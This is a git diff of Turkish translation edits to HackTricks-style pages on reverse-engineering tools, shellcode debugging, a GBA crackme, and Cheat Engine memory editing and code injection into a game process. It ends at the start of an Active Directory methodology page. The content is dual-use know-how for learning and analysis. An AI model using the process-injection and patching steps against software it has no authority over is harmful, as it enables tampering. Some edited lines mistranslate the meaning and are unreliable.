"\x00"*100 ``` -## İSTİSMAR DOSYASI +## EXPLOIT DOSYASI -Bu güvenlik açığını istismar etmek için bir şablon burada bulunabilir: +Bu güvenlik açığını istismar etmek için bir şablonu burada bulabilirsiniz: {{#ref}} rop-leaking-libc-template.md diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md index 3d972e449..824d2c277 100644 --- a/src/reversing/reversing-tools-basic-methods/README.md +++ b/src/reversing/reversing-tools-basic-methods/README.md @@ -14,7 +14,7 @@ Yazılım: - **wasm** (ikili) formatından **wat** (düz metin) formatına **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın - **wat** formatından **wasm** formatına **compile** etmek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın -- Ayrıca **decompile** etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı deneyebilirsiniz +- Ayrıca decompile etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı deneyebilirsiniz Yazılım: @@ -42,8 +42,8 @@ Kapsamlı bir eklenti modeli ve aracı tam ihtiyaçlarınıza uyacak şekilde ge ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) -[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (VSCode'dan doğrudan yükleyebilirsiniz, git indirmeye gerek yok. **Extensions**'a tıklayın ve **ILSpy**'yi arayın).\ -**decompile**, **modify** ve tekrar **recompile** etmeniz gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya onun aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (**Sağ Tık -> Method'u Değiştir** ile bir fonksiyonun içindeki bir şeyi değiştirebilirsiniz). +[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git indirmeye gerek yok. **Extensions**'a tıklayın ve **ILSpy**'yi arayın).\ +Eğer **decompile**, **modify** ve tekrar **recompile** etmeniz gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya onun aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (**Sağ Tık -> Modify Method** ile bir fonksiyonun içinde bir şeyi değiştirebilirsiniz). ### DNSpy Logging @@ -78,9 +78,9 @@ Ardından yeni dosyayı _**File >> Save module...**_ ile kaydedin: ![](<../../images/image (602).png>) -Bu gereklidir çünkü bunu yapmazsanız, **runtime** sırasında koda birkaç **optimizasyon** uygulanacak ve hata ayıklama sırasında bir **break-point asla vurulmayabilir** veya bazı **değişkenler mevcut olmayabilir**. +Bu gereklidir çünkü bunu yapmazsanız, **runtime** sırasında koda birkaç **optimizasyon** uygulanacak ve hata ayıklama sırasında bir **break-point asla tetiklenmeyebilir** veya bazı **değişkenler mevcut olmayabilir**. -Ardından, eğer .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, bunu **restart** edebilirsiniz: +Ardından, .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, bunu **restart** edebilirsiniz: ``` iisreset /noforce ``` @@ -88,7 +88,7 @@ Sonra, hata ayıklamaya başlamak için tüm açık dosyaları kapatmalısınız ![](<../../images/image (318).png>) -Ardından **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach** butonuna tıklayın: +Ardından **IIS server**'a bağlanmak için **w3wp.exe**'yi seçin ve **attach** butonuna tıklayın: ![](<../../images/image (113).png>) @@ -98,11 +98,11 @@ Artık süreci hata ayıklıyorken, durdurma ve tüm modülleri yükleme zamanı ![](<../../images/image (834).png>) -**Modules** bölümündeki herhangi bir modüle tıklayın ve **Open All Modules** seçeneğini seçin: +**Modules** üzerindeki herhangi bir modüle tıklayın ve **Open All Modules** seçeneğini seçin: ![](<../../images/image (922).png>) -**Assembly Explorer** bölümündeki herhangi bir modüle sağ tıklayın ve **Sort Assemblies** seçeneğine tıklayın: +**Assembly Explorer** üzerindeki herhangi bir modüle sağ tıklayın ve **Sort Assemblies** seçeneğine tıklayın: ![](<../../images/image (339).png>) @@ -121,7 +121,7 @@ Artık süreci hata ayıklıyorken, durdurma ve tüm modülleri yükleme zamanı ![](<../../images/image (868).png>) -- **DLL'nin yolu** ve çağırmak istediğiniz fonksiyonu belirterek yürütme **parametrelerini** yapılandırın: +- **DLL'nin yolunu** ve çağırmak istediğiniz fonksiyonu belirterek yürütme **parametrelerini** yapılandırın: ![](<../../images/image (704).png>) @@ -133,10 +133,10 @@ Ama, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, n - **rundll32'yi yükleyin** (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe) - **Komut Satırını Değiştirin** (_File --> Change Command Line_) ve DLL'nin yolunu ve çağırmak istediğiniz fonksiyonu ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain -- _Options --> Settings_ bölümünü değiştirin ve "**DLL Girişi**" seçeneğini seçin. -- Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracaktır, bir noktada **DLL'nizin Girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın. +- _Options --> Settings_ kısmını değiştirin ve "**DLL Girişi**" seçeneğini seçin. +- Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracaktır, bir noktada **DLL'nizin girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın. -Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **hangi kodda olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmında**: +Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **nerede olduğunuzu** **win64dbg penceresinin üst kısmında** görebilirsiniz: ![](<../../images/image (842).png>) @@ -160,15 +160,15 @@ cheat-engine.md https://github.com/nongiach/arm_now {{#endref}} -## Shellcode'lar +## Shellcodes ### Blobrunner ile bir shellcode'u hata ayıklama [**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode'u** bir bellek alanında **ayıracak**, shellcode'un ayrıldığı **bellek adresini** size **gösterecek** ve yürütmeyi **durduracaktır**.\ -Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeniz ve belirtilen bellek adresinde bir **kesme noktası** koymanız ve yürütmeyi **devam ettirmeniz** gerekir. Bu şekilde shellcode'u hata ayıklayacaksınız. +Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeli ve belirtilen bellek adresinde bir **kesme noktası** koymalı ve yürütmeyi **devam ettirmelisiniz**. Bu şekilde shellcode'u hata ayıklamış olacaksınız. Yayınlar github sayfası, derlenmiş sürümleri içeren zip dosyaları içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ -Aşağıdaki bağlantıda Blobrunner'ın biraz değiştirilmiş bir versiyonunu bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**. +Blobrunner'ın biraz değiştirilmiş bir versiyonunu aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**. {{#ref}} blobrunner.md @@ -176,11 +176,11 @@ blobrunner.md ### jmp2it ile bir shellcode'u hata ayıklama -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **shellcode'u** bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, sürece **hata ayıklayıcıyı eklemeniz**, **başlatmaya tıklayıp 2-5 saniye beklemeniz ve durdurmaya basmanız** gerekir ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız. +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **shellcode'u** bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, **hata ayıklayıcıyı** sürece eklemeli, **başlatmayı bekleyin 2-5 saniye ve durdurun** ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız. ![](<../../images/image (509).png>) -Derlenmiş bir versiyonunu [jmp2it'in yayınlar sayfasından](https://github.com/adamkramer/jmp2it/releases/) indirebilirsiniz. +Derlenmiş bir versiyonu [jmp2it'in yayınlar sayfasından](https://github.com/adamkramer/jmp2it/releases/) indirebilirsiniz. ### Cutter kullanarak shellcode'u hata ayıklama @@ -190,7 +190,7 @@ Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerini sunduğunu unutmayın. ![](<../../images/image (562).png>) -Emülasyonu istediğiniz yerden başlatmak için orada bir kesme noktası ayarlayın ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır: +Emülasyonu başlatmak istediğiniz yerden başlatmak için oraya bir kesme noktası koyun ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır: ![](<../../images/image (589).png>) @@ -203,7 +203,7 @@ Emülasyonu istediğiniz yerden başlatmak için orada bir kesme noktası ayarla ### Shellcode'u deobfuscate etme ve yürütülen fonksiyonları alma [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152) denemelisiniz.\ -Shellcode'un hangi **fonksiyonları** kullandığını ve shellcode'un bellekte kendini **şifreleyip şifrelemediğini** size söyleyecektir. +Shellcode'un hangi **fonksiyonları** kullandığını ve shellcode'un bellekte kendisini **şifreleyip şifrelemediğini** size söyleyecektir. ```bash scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode -r #show analysis report at end of run @@ -216,7 +216,7 @@ scDbg ayrıca istediğiniz seçenekleri seçip shellcode'u çalıştırabileceğ ![](<../../images/image (258).png>) -**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için yararlıdır). **start offset** shellcode'u belirli bir ofsetten başlatmak için yararlı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminali kullanarak hata ayıklamak için yararlıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz). +**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için faydalıdır). **start offset** belirli bir offset'te shellcode'u başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminali kullanarak hata ayıklamak için faydalıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz). ### CyberChef kullanarak ayrıştırma @@ -224,17 +224,17 @@ Shellcode dosyanızı girdi olarak yükleyin ve onu decompile etmek için aşağ ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) -Bu obfuscator **tüm `mov` talimatlarını değiştirir** (evet, gerçekten havalı). Ayrıca yürütme akışlarını değiştirmek için kesintiler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için: +Bu obfuscator **`mov` için tüm talimatları değiştirir** (evet, gerçekten havalı). Ayrıca yürütme akışlarını değiştirmek için kesintiler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için: - [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY) - [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) -Şanslıysanız [demovfuscator](https://github.com/kirschju/demovfuscator) ikiliyi deofuscate edecektir. Birkaç bağımlılığı vardır. +Şanslıysanız [demovfuscator](https://github.com/kirschju/demovfuscator) ikiliyi deobfuscate edecektir. Birkaç bağımlılığı vardır. ``` apt-get install libcapstone-dev apt-get install libz3-dev ``` -Ve [keystone'ı kurun](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) +Ve [keystone'u kurun](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) Eğer bir **CTF oynuyorsanız, bayrağı bulmak için bu geçici çözüm** çok faydalı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) @@ -245,7 +245,7 @@ Eğer bir **CTF oynuyorsanız, bayrağı bulmak için bu geçici çözüm** çok ![](<../../images/image (1080).png>) Bu durumda ikili dosya authenticator olarak adlandırıldığından, bu ilginç ana fonksiyon olduğu oldukça açıktır.\ -Çağrılan **fonksiyonların** **isimlerini** öğrendikten sonra, **girdi** ve **çıktıları** hakkında bilgi edinmek için bunları **İnternet**'te arayın. +Çağrılan **fonksiyonların** **isimlerini** bildiğinizde, **girdileri** ve **çıktıları** öğrenmek için bunları **İnternet**'te arayın. ## **Delphi** @@ -257,7 +257,7 @@ Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) v Bu eklenti, ikili dosyayı çalıştıracak ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat butonuna (yeşil olan veya f9) basın ve gerçek kodun başında bir kesme noktası oluşacaktır. -Ayrıca, grafik uygulamasında bir butona bastığınızda, hata ayıklayıcı o buton tarafından yürütülen fonksiyonda duracaktır. +Ayrıca, grafik uygulamada bir butona bastığınızda, hata ayıklayıcı o buton tarafından yürütülen fonksiyonda duracaktır. ## Golang @@ -269,22 +269,22 @@ Bu, fonksiyonların isimlerini çözecektir. ## Derlenmiş Python -Bu sayfada, bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl alacağınızı bulabilirsiniz: +Bu sayfada bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl alacağınızı bulabilirsiniz: {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## GBA - Game Body Advance +## GBA - Oyun Vücut İleri -Eğer bir GBA oyununun **ikili dosyasını** alırsanız, onu **emüle** etmek ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz: +Eğer bir GBA oyununun **ikilisini** alırsanız, onu **emüle** etmek ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz: - [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüz ile birlikte bir hata ayıklayıcı içerir - [**mgba** ](https://mgba.io)- CLI hata ayıklayıcı içerir - [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi - [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi -[**no$gba**](https://problemkaputt.de/gba.htm) içinde, _**Options --> Emulation Setup --> Controls**_\*\* \*\* kısmında Game Boy Advance **butonlarına** nasıl basılacağını görebilirsiniz. +[**no$gba**](https://problemkaputt.de/gba.htm) içinde, _**Seçenekler --> Emülasyon Ayarı --> Kontroller**_** ** kısmında Game Boy Advance **butonlarına** nasıl basılacağını görebilirsiniz. ![](<../../images/image (581).png>) @@ -368,15 +368,15 @@ FUN_08000864(); if (uVar1 == 0x10) { DAT_030000d8 = DAT_030000d8 + 0x3a; ``` -Önceki kodda **uVar1**'in (**basılı butonun değeri**) bazı değerlerle karşılaştırıldığını görebilirsiniz: +Önceki kodda **uVar1**'in (**basılı düğmenin değeri**) bazı değerlerle karşılaştırıldığını görebilirsiniz: -- İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** butonu): Bu buton, meydan okumada ekranı temizliyor. -- Sonra, **değer 8** ile karşılaştırılıyor (**START** butonu): Bu buton, meydan okumada kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor. -- Bu durumda **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılıyor ve değer aynıysa bazı kodlar çalıştırılıyor. +- İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** düğmesi): Bu zorlukta bu düğme ekranı temizliyor. +- Sonra, **değer 8** ile karşılaştırılıyor (**START** düğmesi): Bu zorlukta bu, kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor. +- Bu durumda **`DAT_030000d8`** 0xf3 ile karşılaştırılıyor ve değer aynıysa bazı kodlar çalıştırılıyor. - Diğer durumlarda, bazı cont (`DAT_030000d4`) kontrol ediliyor. Bu bir cont çünkü koda girdikten hemen sonra 1 ekliyor.\ -**Eğer** 8'den küçükse, **`DAT_030000d8`**'e değerler **eklemek** ile ilgili bir işlem yapılıyor (temelde, cont 8'den küçük olduğu sürece, bu değişkende basılan tuşların değerlerini topluyor). +**E**ğer 8'den küçükse, **`DAT_030000d8`**'e değer eklemeyi içeren bir işlem yapılıyor (temelde, cont 8'den küçük olduğu sürece bu değişkende basılan tuşların değerlerini topluyor). -Bu nedenle, bu meydan okumada, butonların değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den daha kısa bir kombinasyonu basmanız gerekiyordu.** +Bu zorlukta, düğmelerin değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den daha kısa bir kombinasyonu basmanız gerekiyordu.** **Bu eğitim için referans:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md index 32155d31f..eff3c21d5 100644 --- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -10,7 +10,7 @@ ![](<../../images/image (762).png>) Bu araç, bir programın belleğinde **bir değerin** (genellikle bir sayı) **nerede saklandığını** bulmak için çok yararlıdır.\ -**Genellikle sayılar** **4byte** formatında saklanır, ancak bunları **double** veya **float** formatlarında da bulabilirsiniz veya **bir sayıdan farklı bir şey** aramak isteyebilirsiniz. Bu nedenle, neyi **arama** yapmak istediğinizi **seçtiğinizden** emin olmalısınız: +**Genellikle sayılar** **4bayt** formatında saklanır, ancak bunları **double** veya **float** formatlarında da bulabilirsiniz veya **bir sayıdan farklı** bir şey aramak isteyebilirsiniz. Bu nedenle, neyi **arama** yapmak istediğinizi **seçtiğinizden** emin olmalısınız: ![](<../../images/image (324).png>) @@ -28,23 +28,23 @@ _**Düzenle --> Ayarlar --> Kısayollar**_ bölümünde, **oyunu durdurma** gibi ![](<../../images/image (864).png>) -## Değeri Değiştirme +## Değeri değiştirme -Aradığınız **değerin** nerede olduğunu **bulduğunuzda** (bununla ilgili daha fazla bilgi sonraki adımlarda) üzerine çift tıklayarak **değiştirebilirsiniz**, ardından değerine çift tıklayın: +Aradığınız **değeri** nerede **bulduysanız** (bununla ilgili daha fazla bilgi sonraki adımlarda) çift tıklayarak **değiştirebilirsiniz**, ardından değerine çift tıklayın: ![](<../../images/image (563).png>) -Ve son olarak, bellekteki değişikliği gerçekleştirmek için **onay kutusunu işaretleyin**: +Ve son olarak, bellekteki değişikliği yapmak için **onay kutusunu işaretleyin**: ![](<../../images/image (385).png>) -**Bellekteki değişiklik** hemen **uygulanacaktır** (oyun bu değeri tekrar kullanmadığı sürece değer **oyunda güncellenmeyecektir**). +Bellekteki **değişiklik** hemen **uygulanacaktır** (oyun bu değeri tekrar kullanmadığı sürece değer **oyunda güncellenmeyecektir**). -## Değeri Arama +## Değeri arama -Öyleyse, geliştirmek istediğiniz önemli bir değer (kullanıcınızın hayatı gibi) olduğunu varsayıyoruz ve bu değeri bellekte arıyorsunuz. +Öyleyse, kullanıcı yaşamı gibi önemli bir değeri geliştirmek istediğinizi varsayalım ve bu değeri bellekte arıyorsunuz. -### Bilinen bir değişim yoluyla +### Bilinen değişim yoluyla 100 değerini aradığınızı varsayalım, bu değeri aramak için bir **tarama** yapıyorsunuz ve birçok eşleşme buluyorsunuz: @@ -59,7 +59,7 @@ _Eğer hala birkaç değer varsa, o değeri tekrar değiştirmek için bir şey ### Bilinmeyen Değer, bilinen değişim -Değeri **bilmiyorsanız** ama **değiştirmek için ne yapacağınızı** biliyorsanız (ve hatta değişimin değerini de biliyorsanız) numaranızı arayabilirsiniz. +Eğer **değeri bilmiyorsanız** ama **değiştirmek için ne yapmanız gerektiğini** biliyorsanız (ve hatta değişim değerini de biliyorsanız) numaranızı arayabilirsiniz. Öyleyse, "**Bilinmeyen başlangıç değeri**" türünde bir tarama yaparak başlayın: @@ -69,7 +69,7 @@ Sonra, değeri değiştirin, **değerin** **nasıl değiştiğini** belirtin (be ![](<../../images/image (371).png>) -Seçilen şekilde **değiştirilen tüm değerler** ile karşılaşacaksınız: +Seçilen şekilde **değiştirilen tüm değerler** size sunulacaktır: ![](<../../images/image (569).png>) @@ -90,17 +90,17 @@ Bahsedilen bazı ipuçlarını kullanarak, mevcut oyununuzun önemli değeri sak **İlk seçenek**, bu **adresin** **kullanıldığı** **kodun** **hangi kısımlarını** bilmek için yararlıdır (bu, oyunun kodunu **nerede değiştirebileceğinizi** bilmek gibi daha fazla şey için yararlıdır).\ **İkinci seçenek** daha **özeldir** ve bu durumda **değerin nereden yazıldığını** bilmekle ilgilendiğimiz için daha faydalı olacaktır. -Bu seçeneklerden birini seçtiğinizde, **hata ayıklayıcı** programa **bağlanacak** ve yeni bir **boş pencere** açılacaktır. Şimdi, **oyunu oynayın** ve **değeri değiştirin** (oyunu yeniden başlatmadan). **Pencere**, **değeri değiştiren** **adreslerle** **doldurulmalıdır**: +Bu seçeneklerden birini seçtikten sonra, **hata ayıklayıcı** programa **bağlanacak** ve yeni bir **boş pencere** açılacaktır. Şimdi, **oyunu oynayın** ve **değeri değiştirin** (oyunu yeniden başlatmadan). **Pencere**, **değeri değiştiren** **adreslerle** **doldurulmalıdır**: ![](<../../images/image (91).png>) -Artık değeri değiştiren adresi bulduğunuza göre, **kodu istediğiniz gibi değiştirebilirsiniz** (Cheat Engine, bunu NOP'lar için hızlı bir şekilde değiştirmenize izin verir): +Artık değeri değiştiren adresi bulduğunuza göre, kodu **istediğiniz gibi değiştirebilirsiniz** (Cheat Engine, bunu NOP'lar için hızlıca değiştirmenize izin verir): ![](<../../images/image (1057).png>) -Artık kodu, sayınızı etkilemeyecek şekilde veya her zaman olumlu bir şekilde etkileyecek şekilde değiştirebilirsiniz. +Böylece, kodu değiştirerek sayınıza etki etmeyecek veya her zaman olumlu bir şekilde etki edecek şekilde değiştirebilirsiniz. -### Rastgele Bellek Adresi - Pointer Bulma +### Rastgele Bellek Adresi - Göstergeleri Bulma Önceki adımları takip ederek, ilgilendiğiniz değerin nerede olduğunu bulun. Sonra, "**Bu adrese neyin yazdığını bul**" seçeneğini kullanarak bu değeri yazan adresi bulun ve üzerine çift tıklayarak ayrıştırma görünümünü alın: @@ -111,29 +111,29 @@ Sonra, **"\[]"** arasındaki hex değerini aramak için yeni bir tarama yapın ( ![](<../../images/image (994).png>) (_Birden fazla görünüyorsa genellikle en küçük adres olanı almanız gerekir_)\ -Artık **ilgilendiğimiz değeri değiştirecek pointer'ı bulduk**. +Artık **ilgilendiğimiz değeri değiştirecek göstericiyi bulduk**. -"**Adresi Manuel Olarak Ekle**" seçeneğine tıklayın: +"**Adres Ekle**" seçeneğine tıklayın: ![](<../../images/image (990).png>) -Şimdi, "Pointer" onay kutusuna tıklayın ve metin kutusuna bulunan adresi ekleyin (bu senaryoda, önceki resimde bulunan adres "Tutorial-i386.exe"+2426B0 idi): +Şimdi, "Gösterici" onay kutusuna tıklayın ve metin kutusuna bulunan adresi ekleyin (bu senaryoda, önceki resimde bulunan adres "Tutorial-i386.exe"+2426B0 idi): ![](<../../images/image (392).png>) -(İlk "Adres"in, girdiğiniz pointer adresinden otomatik olarak doldurulduğuna dikkat edin) +(İlk "Adresin", girdiğiniz gösterici adresinden otomatik olarak doldurulduğuna dikkat edin) -Tamam'a tıklayın ve yeni bir pointer oluşturulacaktır: +Tamam'a tıklayın ve yeni bir gösterici oluşturulacaktır: ![](<../../images/image (308).png>) -Artık bu değeri her değiştirdiğinizde, **değerin bulunduğu bellek adresi farklı olsa bile önemli değeri değiştiriyorsunuz.** +Artık o değeri her değiştirdiğinizde, **değerin bulunduğu bellek adresi farklı olsa bile önemli değeri değiştiriyorsunuz.** ### Kod Enjeksiyonu -Kod enjeksiyonu, hedef işleme bir kod parçası enjekte etme ve ardından kodun yürütülmesini kendi yazdığınız koddan geçirecek şekilde yönlendirme tekniğidir (örneğin, puan vermek yerine puan almak). +Kod enjeksiyonu, hedef işleme bir kod parçası enjekte etme ve ardından kodun yürütülmesini kendi yazdığınız koddan geçirecek şekilde yönlendirme tekniğidir (örneğin, puan vermek yerine puan düşürmek). -Öyleyse, oyuncunuzun hayatından 1 çıkaran adresi bulduğunuzu hayal edin: +Öyleyse, oyuncunuzun yaşamından 1 çıkaran adresi bulduğunuzu hayal edin: ![](<../../images/image (203).png>) @@ -150,7 +150,7 @@ Bir şablon oluşturulacaktır: ![](<../../images/image (944).png>) -Bu nedenle, yeni assembly kodunuzu "**newmem**" bölümüne ekleyin ve **çalıştırılmasını istemiyorsanız** "**originalcode**" bölümündeki orijinal kodu kaldırın\*\*.\*\* Bu örnekte, enjekte edilen kod 1 çıkarmak yerine 2 puan ekleyecektir: +Böylece, "**newmem**" bölümüne yeni assembly kodunuzu ekleyin ve "**originalcode**" bölümünden orijinal kodu kaldırın eğer çalıştırılmasını istemiyorsanız. Bu örnekte, enjekte edilen kod 1 çıkarmak yerine 2 puan ekleyecektir: ![](<../../images/image (521).png>) diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 82a51bfae..4e8f30f8b 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -1,24 +1,24 @@ -# Active Directory Methodolojisi +# Active Directory Methodology {{#include ../../banners/hacktricks-training.md}} ## Temel genel bakış -**Active Directory**, **ağ yöneticileri**'nin bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlayan temel bir teknoloji olarak hizmet eder. Ölçeklenebilir şekilde tasarlanmıştır, böylece çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize ederken, çeşitli seviyelerde **erişim haklarını** kontrol eder. +**Active Directory**, **ağ yöneticileri**'nin bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlayan temel bir teknoloji olarak hizmet eder. Ölçeklenebilir şekilde tasarlanmış olup, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize ederken, çeşitli seviyelerde **erişim haklarını** kontrol eder. -**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir. +**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, paylaşılan bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder; bu, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir. **Active Directory** içindeki anahtar kavramlar şunlardır: 1. **Dizin** – Active Directory nesneleri ile ilgili tüm bilgileri barındırır. -2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, belirtir. -3. **Alan** – Dizin nesneleri için bir konteyner görevi görür, bir **orman** içinde birden fazla alanın bir arada bulunabilmesi mümkündür ve her biri kendi nesne koleksiyonunu korur. +2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder. +3. **Alan** – Dizin nesneleri için bir konteyner görevi görür; bir **orman** içinde birden fazla alanın bir arada bulunabilmesi mümkündür ve her biri kendi nesne koleksiyonunu korur. 4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır. -5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur. +5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi olup, aralarında **güven ilişkileri** 